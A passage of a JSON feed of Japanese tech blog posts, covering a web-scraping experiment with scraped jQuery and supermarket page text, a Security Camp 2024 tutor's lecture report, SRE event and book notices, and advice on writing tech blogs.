$(\'a[href^=\\"#\\"]\').click(function() { //\\\\n` + \'スクロールの速度 var speed = 600; // ミリ秒で記述 var href= $(this).attr(\\"href\\"); var target =\\\\n\' + `$(href == \\"#\\" || href == \\"\\" ? \'html\' : href); var position =\\\\n` + \\"target.offset().top; $(\'body,html\').animate({scrollTop:position}, speed,\\\\n\\" + \\"\'swing\'); return false; }); }); //matchHeight $(function(){\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"var position = target.offset().top; $(\'body,html\').animate({scrollTop:position},\\\\n\\" + \\"speed, \'swing\'); return false; }); }); //matchHeight $(function(){\\\\n\\" + \\"$(\'.mh\').matchHeight(); }); function news_link(id,year) {\\\\n\\" + \'document.newslink.ne_id.value=id; document.newslink.ne_year.value=year;\\\\n\' + \'document.newslink.submit(); } $(function(){ $(\\"#acMenu dt\\").on(\\"click\\",\\\\n\' + \'function() { $(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); });\\\\n\' + \'}); $(\\".information dl dt\\\\n\' + `p:contains(\'「酒類の品目等の表示義務」改正に伴う「麦旨」の品目表示及び税率適用区分表示の変更について\')\\").find(\'a\').attr({target:\\"_blank\\"});\\\\n` + \'objectFitImages();\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }]CheerioWebBaseLoaderはbodyタグ内を読むのですが、styleタグやscriptタグが入ってしまっているからなんですね。そこで、CheerioWebBaseLoaderを使わず、URLからfetchして、cheerioTextで得たbodyタグの中からstyleタグやscriptタグの中身を除去したコードを実行。npx ts-node webLoad.ts https://www.gyomusuper.jp/綺麗に取れました!!bodyContent:お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針ホーム商品紹介ミラクルレシピ特集一覧安心安全の取り組み業務スーパーとはGyomucaお問い合わせオンラインショップFC加盟店募集会社案内日本語/ENGLISH/中文NEWITEM新着商品新着ホット&スパイシーヌードルホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。詳しくはこちら詳しくはこちらPICKUP!おすすめ商品商品をもっと見る新着パルメザンチーズのリゾットイタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!詳しくはこちらパルメザンチーズ[要冷蔵]詳しくはこちらPICKUP!おすすめレシピレシピをもっと見るSPECIALTOPICS特集特集をもっと見るSNS公式Instagram・公式X(旧Twitter)TweetsbyGyomusuperOFCL公式Instagram公式X(旧Twitter)2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。一覧を見る『世界の本物』を直輸入!業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!安さの秘密自慢の国内自社工場の『オリジナル』国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!安全・安心の秘密スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。店舗検索特売情報ホームWEBチラシ店舗案内ミラクルレシピ商品紹介直輸入商品国内自社工場商品業務スーパーとは安さの秘密安全安心の取り組み商品開発事前チェック現地工場チェック品質安全検査商品検証FC加盟店募集業務スーパー5つの強み業務スーパーの特徴オープンまでのプロセス体制について契約概要・加盟条件物件・商品のご提案募集お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針〒675-0063兵庫県加古川市加古川町平野125番1\xa92018-GyomuSuperAllRightsReserved.","link":"https://shu-kob.hateblo.jp/entry/2024/08/31/223416","isoDate":"2024-08-31T13:34:16.000Z","dateMiliSeconds":1725111256000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"セキュリティ・キャンプ 2024 参加記","contentSnippet":"8月12日から8月16日までの5日間で開催されたセキュリティ・キャンプ2024 全国大会のBクラス(プロダクトセキュリティ)にチューターとして参加したので、体験記を書き残す。昨年、Bクラス(当時は、Webセキュリティ)を修了し、今年チューターとして、もう一度セキュリティ・キャンプに参加することになった。昨年の参加記は、以下である。今読み返してみると、次はネクスト受講生かチューターで参加したいということを書いており、今年チューターとして参加できたのはとてもよかった。moz-security.hatenablog.com日程表Bクラスの日程は、このような感じだった。6つの専門講義があり、それに加えて共通講義やグループワーク, 特別講演などがあり、毎日8:30~21:00に稼働するというハードスケジュールとなっている。セキュリティ・キャンプ Bクラス スケジュール共通講義、グループワーク共通講義では、ゲームセキュリティや法律、人の心理・行動特性についての講義があった。また、毎日グループワークの時間が30分あり、1グループ4人構成でセキュリティ教育について話しあっていた。コンピュータを全く知らない主婦や子供からコンピュータサイエンスをある程度学んだ学生などさまざまなターゲットに対して、いろいろなアプローチでセキュリティ技術を伝えようとするアイデアがあり、ディスカッションや最終発表を見ていてとてもおもしろかった。専門講義Bクラスでは、プロダクト開発におけるセキュリティをテーマにして、講義が構成されていた。全て4時間の講義で、座学と演習の両方を行う形式になっている。1日目のホームルームでプロデューサーから、講義設計にあたり未知との遭遇の最大化を目標としている旨を伝えられた。知らないこともたくさん出てくるだろうが、「アウトプットを行う→フィードバックを得る→新たな知らないことが生まれる」のループを回すことをセキュリティキャンプを通じて、また、セキュリティキャンプが終わった後も行うことが大事だということを話されていた。また、技術の話だけでなくお金の話も講義に盛り込むようにしており、コストとセキュリティのバランスを見定めるといった、より社会で行われていることを体感して、社会に出た後に活躍してほしいというお話があった。そういう意味で、プロデューサーがBクラスは社会人クラスと言っていたのもおもしろかった。これら2つのことは、講義を全て終えた今、改めてとてもプロデューサーの講義設計に対する意図や思いを感じている。2日目B1: プロダクトセキュリティの展望セキュリティ・キャンプ2024 全国大会 B1 プロダクトセキュリティの展望(#seccamp2024) | ドクセル\\"プロダクトセキュリティの展望\\" では、プロダクトの定義とそれが指す範囲の広さ、非機能要件であるセキュリティと組織としての向き合い方について学んだ。なかでも、社会と技術と資産を面で見れるようになるとセキュリティを俯瞰して見ること・考えることができ、面で見れるようになるためには、社会の変化に敏感になることが重要であるということはとても記憶に残っている。セキュリティを仕事にする上で新技術の把握や継続的な学習は大事だと言われているが、この講義を通して再認識させられた。また、プロダクトの価値を早く・大きく・継続して届けるための技術についても学んだ。これらはお金が密接に絡んでくる点で経営側の視点も必要であり、今まで考えたことがなかったが、組織で自分が影響力を発揮していくためには押さえておく必要はあるし、今後勉強していきたいと思った。最後に、組織規模に応じたセキュリティ対策について学んだ。セキュリティ対策が必要だといっても実際に行うには導入・運用にコストがかかるため、コストとセキュリティのバランスが必要となってくるし、その判断が難しいのはよく言われているためすでにわかっていた。しかし、ではどれくらいの組織規模に対してどのような対策を行うのかということは今まであまり考えたことなく(学生で考える人はあまりいないと思っているが)、グループディスカッションや発表、講師以外の方のお話なども含めてとても学びになった。いろんな会社のいろんな役職の人たちがいるのもセキュリティ・キャンプのよさであると思う。B-2: 情報セキュリティ戦略戦術ワークショップ\\"情報セキュリティ戦略戦術ワークショップ\\" では、組織のセキュリティ対策の進め方やインシデントハンドリングについて学んだ。この講義でも、やはり組織規模に応じたセキュリティ対策についてのお話はあり、やらないといけないことはたくさんあるがどれから取り組むかを考えるといったときに、ベストプラクティスやガイドライン、フレームワークは非常に参考になることがわかった。また、インシデント対応において、まず気付ける仕組みと改善の実施が重要であることがわかった。たしかにログが残っていたり、インシデント発生時にアラートが出なかったりすると、そもそもインシデントに気付けない。そのため、セキュリティ担当でなかったとしても、インシデントに気付くために一開発者としてどのような情報(ログ, メトリクス, アラート)が必要なのかは考えるようにしたいと思った。演習では、受講生がグループでインシデントハンドリングを体験しており、チューターとしてはチャットツールでの関係者とのやり取りを見ていた。インシデントというと私は外部の攻撃者からのサイバー攻撃を想像してしまうが、それだけではない。メールの誤送信などといったオペレーションミスや部署間での情報共有の不足、内部不正なども、ちゃんとインシデントであり、それも意外と発生してしまうことがあることを学んだ。演習で関係者とのやりとりがなかなかうまくいかず、大変そうだったのはとても記憶に残っている(覚えるべきとこはそこじゃないw)。3日目B-3: セキュリティ監視入門セキュリティ監視入門 | Notion\\"セキュリティ監視入門\\" では、監視の重要性と監視アーキテクチャの設計・構築について学んだ。監視をする上で最も重要で、最初に考えなければいけないのはなぜ監視するのか・何のために監視するのかであり、そこが曖昧であると例え監視を行っていて異常を見つけたり、アラートが出たりしても、その後の対応に繋がらないということはとても頭に残っている。この講義でもB-1に引き続いて、組織規模に応じた監視アーキテクチャの構築やSOCやCSIRTといった組織の構築を学んだ。どれだけのコストをセキュリティ対策にかけるかは経営判断だが、現場で何が行われているのかやどのようなデータがどこに存在しているかは把握していなければ、セキュリティ監視を行うことやそれにかかるコストを見積もることはできない。ログの対象となるデータは無限と言っていいほど存在しており、どのログを取るのかとコストのバランスを考えることがセキュリティ担当者としての腕の見せ所であることがわかった。また、セキュリティ監視において大規模な運用が始まると不可逆性はかなり高いことも学んだ。これは、データ移行が大変になるからという理由だったが、私自身今までトライアンドエラーを繰り返すことをよしとしていたため、セキュリティ監視というケースではそれがあまりふさわしくないこともあることがわかった。B-4: モダンなプロダクト開発を攻撃者の視点で捉える\\"モダンなプロダクト開発を攻撃者の視点で捉える\\" では、攻撃者がどうやって組織に対して攻撃を行うのかについて学んだのちに、それにやられないために防御側はどのような対策が必要なのかということを考えた。講義を通して、攻撃側と防御側の両方の視点でセキュリティを考えることができたのは非常に学びになった。なかでも、攻撃者はフロー(グラフ)で考え、防御側はリストで考えるというのはとても記憶に残っている。攻撃側は一点だけでも突破できればいいのに対して、防御側は全てを守らなければならない。加えて、多層防御を行い、全てを守っていると思っていても、攻撃者は全く思わぬところからクリティカルな攻撃を行うかもしれない(VPNの脆弱性を突いて初期侵入とかではなく、物理的に侵入するとか)。そのため、セキュリティ担当者として組織を守るには、ベストプラクティスやガイドラインを参考にしつつ、明確なWhyを持ったセキュリティ対策を取るように意識することが重要になってくるとわかった。ゼロトラストやDevSecOpsといった新しく出てきたワードに縛られないようにすることも重要であり、それもWhyを意識することで具体的なセキュリティ対策の実現という本質的な部分に焦点を当てることができることを学んだ。大学や勉強会では防御について学んだり考えたりすることが多いが、攻撃側の視点を養うためにも、もっとHack The Boxを頑張ろうと思う。4日目B-5: 設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\"設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\" では、プロダクト開発において考慮すべきセキュリティと実践方法について学んだ。プロダクトをセキュアにするというと、実装する際に脆弱性を作らないよう気をつけたりリリース前に脆弱性診断を行ったりすることを私はイメージする。しかし、要件定義・設計・実装の段階にテスト工程を前倒しにするというShift-leftの理解と実践により、開発工程の早い段階で脆弱性の検出を行うことが重要であることがわかった。ただ、早い段階で脆弱性を発見しようとするとやらないといけないことが大量に増えるため、できるだけ自動化して、人でないとできない箇所に開発者が注力できる仕組みを作ることが大事だと学んだ。セキュリティに携わるものとして、意識改革やセキュリティ教育ももちろん大事だが、技術者である以上、仕組みで解決できないかという視点は大事だと思う。脆弱性を自動で発見する方法としてはSASTやDASTというものがあり、これらのツールを使ってスキャンを行うことを学んだ。これをCI/CDのパイプラインに組み込むことで、例えば、マージされたタイミングでSASTを行い、ステージング環境にデプロイしたタイミングでDASTを行うといったことができる。これにより、仮に開発者に全くセキュリティの知識がなくても、ある程度のセキュリティは担保することができることがわかった。B-6: クラウドネイティブなシステムを保護するための実践的KubernetesセキュリティGitHub - kyohmizu/seccamp2024-B6\\"クラウドネイティブなシステムを保護するための実践的Kubernetesセキュリティ\\" では、Kubernetesとは何かということととコンテナやKubernetesに対する脅威・セキュリティ対策について学んだ。なかでも、3章の攻撃シナリオを学び、実際に演習したことは記憶に残っている。Kubernetesやコンテナに対する攻撃手法として、コンテナブレイクアウトや認証情報の窃取があることはすでに知っていたが、それ単体で攻撃として成り立つわけではなく、攻撃の中の一工程に過ぎない。そのため、演習を通して、OSコマンドインジェクションの脆弱性を突いた後、徐々に範囲を拡大していき、最終的にKubernetesクラスタのAdmin権限取得まで行うとという経験ができたのはよかった。Kubernetesに対する脅威を身にしみて実感できたし、攻撃者が範囲を拡大していく(ラテラルムーブメント)どこか一箇所でも防ぐことができればここまでやられなかったかもしれないといった防御視点でも考えることができた。講義全体を通して昨年に引き続き、B-1からB-6まで非常に幅広い分野の講義があった。どの講義も講師の方が4時間で終わるか怪しいと講義前から言うほどのボリュームになっており、チューターとして参加しながらも、全てを理解できているわけではない。また、講義の位置付けとしては一応入門となっているし、講義資料には大量のリンクが貼ってある。これは、もっと勉強することはあるよというメッセージ?だろう。勉強するための足がかりも与えられた今、これらを活用して、今後さらに勉強していきたいと思う。また、どの講義でもコストとセキュリティについて取り上げられており、組織の中でセキュリティ対策を進めていこうと思うとコストとセキュリティを見定める能力(費用対効果を考える能力)は求められることを強く実感した。チューターとして立ち位置としては講師と受講生の間となるため、セキュリティ・キャンプ全体を通して、昨年よりもいろんな人といろんな話をすることができた気がする。今思い返すと、受講生として参加した昨年は講義に食らいつくのに必死だったし、自分のスキルに自信もなく、講師の方にも積極的に話を聞きにいこうとしていなかった。今年はチューターとして講義全体を俯瞰して見ることができ、受講生として参加したときよりも少しだけ気持ちに余裕が持てたのはよかったと思う。一方で、受講生の知識・スキルの高さには驚かされ、チューターと受講生というよりは、同じ関心を持つ同世代の仲間という気持ちで講義だけに限らず、休憩時間やご飯の時間も含めてたくさんの話ができたし、そのなかで勉強になることも多かった。チューターとして参加してみて、受講生が演習で困っているときに一緒に解決できたときには私も嬉しかったし、教えたり技術を広めることの面白さを少しだけ感じることができた気がする。セキュリティ・キャンプを修了した方には、チューターとしてセキュリティ・キャンプにもう一度参加することも検討に入れるのをお勧めしたい。感想どの講義も濃密で、チューターとして参加した今年も私にとって初めて知ることも多かった。勉強するきっかけをたくさん与えられるので、キャンプ中はもちろんのことキャンプ後も継続して勉強するネタが見つかるし、私自身これからもっと勉強したいと思う。また、受講生やチューターとして参加している同世代のすごい人たちやセキュリティの第一線で活躍している講師の方や関係者の方を見て話すことができ、今年もとても刺激を受けることができた。講義資料自体は講師の方が公開されているものも多くある(Bクラスの講義に限らず)ため、講師の方と話したり、みんなで議論したりできることこそがセキュリティ・キャンプに参加することの一番のよさであると思う。セキュリティに興味がある人はもちろん、もっと広くコンピュータに興味がある人全員にセキュリティ・キャンプを勧めたい。昨年書いていたので、今年も書いておこうと思う。来年はネクストの受講生としてまた戻ってきたい。Bクラス ほかの方のブログhack.nikkei.comzenn.dev","link":"https://moz-security.hatenablog.com/entry/2024/08/31/121836","isoDate":"2024-08-31T03:18:36.000Z","dateMiliSeconds":1725074316000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"SRETT#10 ~ 夏のSRE祭り!アーカイブ動画公開!","contentSnippet":"shu-kob.hateblo.jp2024年8月23日に弊社スリーシェイクのコミュニティ勉強会「SRETT #10 ~ 夏のSRE祭り!」が開催されました。www.youtube.comアーカイブ動画も公開されています!当日ご参加できなかった方もぜひご覧ください!自分は当日誘導係をやっていて、最初の菱田さんのセッション「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」は最後のちょびっとだけしか聴けていないから、観ようかな。","link":"https://shu-kob.hateblo.jp/entry/2024/08/30/230631","isoDate":"2024-08-30T14:06:31.000Z","dateMiliSeconds":1725026791000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"CCoEとは","contentSnippet":"目次 はじめに CCoEとは クラウド活用に関する様々な課題 CCoE導入の際のポイント CCoEの導入事例 Sreakeでできること 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービス\xad […]The post CCoEとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ccoe%e3%81%a8%e3%81%af/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesとは","contentSnippet":"目次 はじめに Kubernetesの特徴と代表的な機能 Kubernetesを導入する際のポイント Kubernetesの導入事例 Sreakeでできること 1. はじめに 多様で複雑な現代のソフトウェア開発において、 […]The post Kubernetesとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オライリーのAWS生成AI本","contentSnippet":"AWSではじめる生成AI ―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje Barth,Shelbee EigenbrodeオライリージャパンAmazonそういや、オライリージャパンからAWSの生成AI本出てますね。欲しいと思いながらも買うてない。現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、面白そうなら買うてみるしか!翻訳はAWS Japanの久富木 隆一さん。AWSの中の人が翻訳しているので確かでしょうね!","link":"https://shu-kob.hateblo.jp/entry/2024/08/29/234143","isoDate":"2024-08-29T14:41:43.000Z","dateMiliSeconds":1724942503000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GitLab Runnerによる簡易的なCICDの設計と実装","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post GitLab Runnerによる簡易的なCICDの設計と実装 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gitlab-runner-cicd/","isoDate":"2024-08-29T05:34:28.000Z","dateMiliSeconds":1724909668000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「SREをはじめよう」(Becoming SRE邦訳)が出版","contentSnippet":"SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazon「Becoming SRE」の邦訳である「SREをはじめよう」が2024/10/8オライリージャパンから発売されます!翻訳は、オライリーのSRE系の邦訳を数多く手掛けられてきた山口 能迪さん(Google所属)個人がSREになる、組織がSREになるという二面で書かれているようで、今からとても楽しみです!","link":"https://shu-kob.hateblo.jp/entry/2024/08/28/235736","isoDate":"2024-08-28T14:57:36.000Z","dateMiliSeconds":1724857056000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス","contentSnippet":"pages.sreake.comイベントで登壇していました。ご参加くださった方はありがとうございました!良い評価をいただけたようで光栄です!今回、「生成AI利活用を進めるためのプロセス」というテーマだったので、普段私があまり話さないことも話せて新鮮でした。genai-users.connpass.com普段は、日本生成AIユーザ会でハンズオンをやっているように、具体的技術を話すことが多いので。今回とても良い経験になりました。今後も良い発表ができるよう精進していきます!","link":"https://shu-kob.hateblo.jp/entry/2024/08/27/235840","isoDate":"2024-08-27T14:58:40.000Z","dateMiliSeconds":1724770720000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"後継者不足のCOBOLを生成AIに引き継ぎ","contentSnippet":"www.itmedia.co.jpIT media AI+より。虚構新聞かと思いましたが(笑)、本当にようです。ベトナムの研究者が論文を出したのですね。日本でもCOBOLで書かれたシステムはまだまだ残っていますが、COBOL書けるエンジニアが高齢になってきて、後継者不足でもあります。海外もベトナムも同様なのですね。リプレイスしていくのも大事かと思いますが、全部のCOBOLシステムのリプレイスも難しいでしょうし、リプレイスしつつも、生成AIに書かせるのが現実解なのかもしれません。","link":"https://shu-kob.hateblo.jp/entry/2024/08/26/235854","isoDate":"2024-08-26T14:58:54.000Z","dateMiliSeconds":1724684334000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"テックブログを書く時にやっていること","contentSnippet":"はじめにテックブログの執筆プロセスは、エンジニアの経験や知識を活用し、多様な情報源から価値ある内容を抽出し、読者にとって有益な形に整理する作業です。この過程では、自身の業務経験はもちろん、他のブログ記事や技術書籍など、幅広い情報を取り入れ、それらを咀嚼し、独自の視点で再構築します。この時に困難は伴いますが、同時に自身の考えを整理し、新たなアイデアを生み出す貴重な機会となります。 多くのエンジニアと同様に、私もブログのネタが自然に湧き出てくるタイプではありません。そこで、試行錯誤を重ねて確立した、効果的なブログ執筆方法を皆さんと共有したいと思います。この方法は、情報の収集から記事の執筆まで、段階的なアプローチを採用しています。各ステップを意識的に踏むことで、自分として納得できる記事を継続的に生み出すことが可能になります。以下に、私が日々実践しているプロセスを詳しく説明していきます。1. データ収集まずは、様々な源から幅広く情報を集めることから始めます。そして、実際に手を動かして経験を積みます。これらはすべて、潜在的なブログのネタになります。日々の業務で気づいたことをメモするデバッグ中に遭遇した興味深い問題や、その解決プロセスを詳細にメモしましょう。これらの経験は、他のエンジニアにとって貴重な学びとなる可能性があります。Slack、Notion、あるいは物理的なノートなど、自分に合った方法でメモを取る習慣をつけることが重要です。本を読みまくる技術書を定期的に読むことで、新しい知識や視点を得ることができます。読んだ本の要点や自分の見解をまとめることで、読者に価値ある情報を提供できます。月に1-2冊のペースで読書し、その内容を整理することをおすすめします。同僚との会話を大切にする昼食時や休憩時間の雑談でも、重要なトピックが浮上することがあります。例えば、マイクロサービスの課題について話し合った内容を、より深く掘り下げてブログ記事にすることができます。会話の中で出てきた興味深いポイントをメモする習慣をつけましょう。業界のニュースや記事を読む毎日30分程度、技術ブログやニュースをチェックする時間を設けましょう。最新のトレンドや技術動向をまとめた記事を定期的(例えば週1回)に書くことで、自身の知識も整理でき、読者にも価値を提供できます。実際に手を動かして試してみる興味のある新しいフレームワークやツールを使って、小規模なプロジェクトを作成してみましょう。この学習過程と気づきをステップバイステップで記事にまとめることで、読者に実践的な情報を提供できます。週末や空き時間を利用して、定期的に新しい技術に触れる機会を作りましょう。個人プロジェクトで開発する最近話題のツールや技術を自分のプロジェクトに組み込んでみましょう。この統合プロセスを詳細に記録し、遭遇した課題や解決策、得られた知見をブログ記事にまとめることで、読者に実用的な情報を提供できます。月に1つは新しい技術を個人プロジェクトに取り入れる目標を立てるのも良いでしょう。コードリーディングを習慣化するオープンソースのプロジェクトのコードを定期的に読むことで、優れた設計パターンや実装テクニックを学ぶことができます。興味深い発見があれば、それを解説する記事を書いてみましょう。週に1回、30分程度の時間をコードリーディングに充てることをおすすめします。2. データを創発させる集めたデータを基に新しい関連性を見出す創造のプロセスは、ブログ記事作成の核心部分です。既存の要素を新しく組み合わせることで、独自の洞察を生み出します。異なる分野の知識を結びつける人文科学や自然科学など、エンジニアリング以外の分野の本や記事を読むことで、新しい視点を得ることができます。例えば、心理学の概念をソフトウェアアーキテクチャの設計に応用するなど、意外な関連性を探求し、ブログ記事のユニークなテーマとして扱いましょう。月に1冊は異分野の本を読むことをおすすめします。原理原則に立ち返る様々なフレームワークや技術を比較分析する中で、それらの根底にある共通の設計原則や思想を見出すことができます。これらの普遍的な原則をブログの核心テーマとして扱うことで、読者に深い洞察を提供できます。技術書を読む際は、表面的な機能だけでなく、その背後にある設計思想にも注目しましょう。問題を抽象化するチームで直面した具体的な問題を一般化し、より広い文脈で捉え直すことで、多くのプロジェクトに適用できる普遍的な課題が見えてくることがあります。この抽象化された問題解決アプローチをブログにまとめることで、様々な状況に応用可能な知見を読者に提供できます。問題に直面したときは、「これは他のどんな場面でも起こりうるか?」と自問する習慣をつけましょう。技術のクロスオーバーを探す異なる技術領域や手法を組み合わせることで、新しいアイデアが生まれることがあります。例えば、機械学習の手法をWebアプリケーション開発に適用するなど、異分野の融合を探求し、そのアイデアをブログで提案してみましょう。週に1回、「今取り組んでいる技術は、他のどの分野と組み合わせられるか」を考える時間を設けるのも良いでしょう。3. 放置するこのステップが意外と大事です。わざとブログのアイデアを放置することで、無意識のうちに考えが熟成されます。完全に忘れるブログのアイデアをメモした後、意図的に1週間程度そのことを考えないようにします。この期間が経過した後に再度内容を見直すと、新鮮な目で客観的に評価できることがあります。Notionやトレロなどのツールを使って、アイデアを整理し、定期的に(例えば週1回)見直す時間を設けるのが効果的です。全く違う活動に没頭する技術的な思考から離れ、全く異なる活動に取り組むことで、思わぬインスピレーションを得ることがあります。例えば、自然の中でのアクティビティや芸術活動などに時間を費やしてみましょう。週末や休暇を利用して、定期的に技術以外の活動に没頭する時間を作ることをおすすめします。眠りにつく直前まで考え、そして手放す就寝前にブログの構成や内容について考えを巡らせ、その後意識的に手放すことで、睡眠中に無意識的な処理が行われることがあります。翌朝、新たな視点やアイデアが浮かんでくることも少なくありません。寝る前の15分間を「ブログアイデアタイム」として設定し、思考をノートに書き出してから眠るという習慣をつけてみましょう。4. もう一度考え続けてひらめきを待つアイデアを温めた後、再び記事の構想に取り組む時間です。この段階では、長期的な視点を持ちつつ、具体的な記事の形を模索します。過去のメモを読み返す1ヶ月以上前に書いたアウトラインや断片的なメモを見直すことで、当初気づかなかった重要なポイントが浮かび上がってくることがあります。これらの新たな気づきを記事の核心部分として活用しましょう。月に1回、過去のメモを整理し、再評価する時間を設けることをおすすめします。技術の未来を想像する現在の技術トレンドを分析し、5年後、10年後の技術の姿を想像してみましょう。この長期的な視点から現在の技術の使い方を解説することで、読者により価値のある洞察を提供できます。四半期に1回程度、技術の将来予測に関する記事を書くことを目標にしてみてください。複数の記事案を比較する同じテーマについて、異なるアプローチや切り口で3つ程度の記事案を考えてみましょう。それぞれの特徴を比較し、最も読者の役に立つと思われる方向性を選択します。この過程で、当初は思いもよらなかった新しい視点が生まれることもあります。記事を書く前に、必ず複数の構成案を作成し、それぞれのメリット・デメリットを評価する習慣をつけましょう。他の記事との差別化を考える同じトピックに関する既存の記事を徹底的に調査し、自分の経験や知識を活かして、どのような新しい視点や情報を提供できるかを考えます。他の記事にはない独自の切り口や、より深い洞察を加えることで、記事の価値を高めることができます。記事を書く前に、必ず競合する記事を5つ以上読み、それぞれの特徴をメモし、自分の記事の差別化ポイントを明確にしましょう。5. 出てきたアイデアの使い方を考えるいよいよ記事の具体的な構成を考える段階です。技術的な正確さを保ちつつ、読みやすく、実用的な内容にすることが重要です。同時に、記事の質を高め、読者との信頼関係を構築するために、以下の点に特に注意を払ってください。導入部分を工夫する読者の興味を引くために、記事の冒頭で技術が解決できる身近な問題や、その技術がもたらす具体的なメリットを提示します。例えば、「この技術を使うことで開発時間を30%削減できた」といった具体的な数字や、実際のユースケースを紹介することで、読者の関心を高めることができます。コードと説明のバランスを取る技術記事では、コード例と説明文のバランスが重要です。核となる概念を簡潔に説明した後、実際のコード例を示し、そのコードの各部分の詳細な解説を加えます。コードブロックは適度な長さに保ち、長すぎる場合は分割して説明を挟むことで、読者の理解を助けます。自分の経験を織り交ぜる技術の解説に加えて、その技術を実際のプロジェクトで使用した際の経験談を盛り込みます。直面した課題、試行錯誤のプロセス、最終的な解決策など、具体的なストーリーを共有することで、読者にとってより実践的で価値ある情報を提供できます。読者の疑問を予測する自分がその技術を学んだ時に抱いた疑問や、同僚から受けた質問などをリストアップし、それぞれに答える形で記事を構成します。FAQセクションを設けたり、「よくある間違い」といった項目を追加することで、読者の潜在的な疑問に先回りして答えることができます。根拠を示し、判断基準を明確にし、批判的思考を持つ強い主張や比較を行う際は、その根拠と判断基準を明確に示してください。「この方法が最善である」や「AよりBの方が優れている」と述べる場合、なぜそう考えるのか、どのような観点(パフォーマンス、可読性、学習曲線など)で判断したのかを詳細に説明してください。同時に、自説の限界や適用範囲も認識し、「この方法はすべての状況で最適というわけではありません」といった但し書きを加えることで、読者の批判的思考を